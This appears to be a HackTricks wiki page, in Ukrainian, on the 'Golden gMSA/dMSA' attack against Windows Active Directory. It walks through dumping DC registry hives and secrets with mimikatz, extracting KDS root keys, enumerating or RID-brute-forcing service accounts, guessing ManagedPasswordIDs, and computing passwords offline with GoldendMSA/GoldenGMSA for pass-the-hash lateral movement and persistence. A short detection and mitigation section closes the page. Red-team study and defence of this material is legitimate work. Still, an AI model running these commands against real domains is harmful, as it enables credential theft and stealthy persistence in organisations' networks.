Golden gMSA/dMSA Attack (Офлайн похідна паролів керованих облікових записів сервісів)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

Керовані облікові записи сервісів Windows (MSA) – це спеціальні принципи, призначені для запуску сервісів без необхідності вручну керувати їх паролями. Є два основних варіанти:

  1. gMSA – груповий керований обліковий запис сервісу – може використовуватися на кількох хостах, які авторизовані в його атрибуті msDS-GroupMSAMembership.
  2. dMSA – делегований керований обліковий запис сервісу – (попередній перегляд) наступник gMSA, що спирається на ту ж криптографію, але дозволяє більш детальні сценарії делегування.

Для обох варіантів пароль не зберігається на кожному контролері домену (DC) як звичайний NT-хеш. Натомість кожен DC може вивести поточний пароль на льоту з:

  • Лісового KDS Root Key (KRBTGT\KDS) – випадковим чином згенерованим секретом з GUID-іменем, реплікованим на кожен DC під контейнером CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, ….
  • Цільового облікового запису SID.
  • Переконаним ManagedPasswordID (GUID), знайденим в атрибуті msDS-ManagedPasswordId.

Виведення: AES256_HMAC( KDSRootKey , SID || ManagedPasswordID ) → 240 байт блоб, який в кінцевому підсумку base64-кодується і зберігається в атрибуті msDS-ManagedPassword. Ніякий трафік Kerberos або взаємодія з доменом не потрібні під час звичайного використання пароля – член хоста виводить пароль локально, якщо знає три вхідні дані.

Golden gMSA / Golden dMSA Attack

Якщо зловмисник може отримати всі три вхідні дані офлайн, він може обчислити дійсні поточні та майбутні паролі для будь-якого gMSA/dMSA в лісі, не торкаючись DC знову, обходячи:

  • Аудит читання LDAP
  • Інтервали зміни паролів (вони можуть попередньо обчислити)

Це аналогічно Золотому квитку для облікових записів сервісів.

Передумови

  1. Компрометація на рівні лісу одного DC (або Enterprise Admin), або доступ SYSTEM до одного з DC в лісі.
  2. Можливість перерахувати облікові записи сервісів (читання LDAP / брутфорс RID).
  3. Робоча станція .NET ≥ 4.7.2 x64 для запуску GoldenDMSA або еквівалентного коду.

Golden gMSA / dMSA

Фаза 1 – Витяг KDS Root Key

Витяг з будь-якого DC (Копія тіньового тому / сирі хаби SAM+SECURITY або віддалені секрети):

cmd
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM  system.hive

# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch   # shows KDS root keys too

# With GoldendMSA
GoldendMSA.exe kds --domain <domain name>   # query KDS root keys from a DC in the forest
GoldendMSA.exe kds

# With GoldenGMSA
GoldenGMSA.exe kdsinfo

Базовий рядок base64 з міткою RootKey (ім'я GUID) потрібен на наступних етапах.

Фаза 2 – Перерахування об'єктів gMSA / dMSA

Отримайте принаймні sAMAccountName, objectSid та msDS-ManagedPasswordId:

powershell
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId

GoldenGMSA.exe gmsainfo

GoldenDMSA реалізує допоміжні режими:

powershell
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap

# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
Фаза 3 – Вгадати / Виявити ManagedPasswordID (коли відсутній)

Деякі розгортання видаляють msDS-ManagedPasswordId з ACL-захищених читань.
Оскільки GUID є 128-бітним, наївний брутфорс є недоцільним, але:

  1. Перші 32 біти = Unix epoch time створення облікового запису (з роздільною здатністю в хвилинах).
  2. За ними слідують 96 випадкових бітів.

Отже, вузький словник для кожного облікового запису (± кілька годин) є реалістичним.

powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>

Інструмент обчислює кандидатні паролі та порівнює їх base64 blob з реальним атрибутом msDS-ManagedPassword – збіг вказує на правильний GUID.

Фаза 4 – Офлайн обчислення пароля та конвертація

Як тільки ManagedPasswordID відомий, дійсний пароль знаходиться в одному командному рядку:

powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>

Отримані хеші можуть бути інжектовані за допомогою mimikatz (sekurlsa::pth) або Rubeus для зловживання Kerberos, що дозволяє здійснювати прихований бічний рух та постійність.

Виявлення та пом'якшення

  • Обмежте можливості резервного копіювання DC та читання реєстру для адміністраторів Tier-0.
  • Моніторте створення Режиму відновлення служб каталогів (DSRM) або Копії тіней томів на DC.
  • Аудитуйте читання / зміни до CN=Master Root Keys,… та прапорців userAccountControl облікових записів служб.
  • Виявляйте незвичайні записи паролів base64 або раптове повторне використання паролів служб на різних хостах.
  • Розгляньте можливість перетворення облікових записів gMSA з високими привілеями на класичні облікові записи служб з регулярними випадковими ротаціями, де ізоляція Tier-0 неможлива.

Інструменти

  • Semperis/GoldenDMSA – реалізація посилання, використана на цій сторінці.
  • Semperis/GoldenGMSA – реалізація посилання, використана на цій сторінці.
  • mimikatzlsadump::secrets, sekurlsa::pth, kerberos::ptt.
  • Rubeus – pass-the-ticket з використанням похідних AES ключів.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks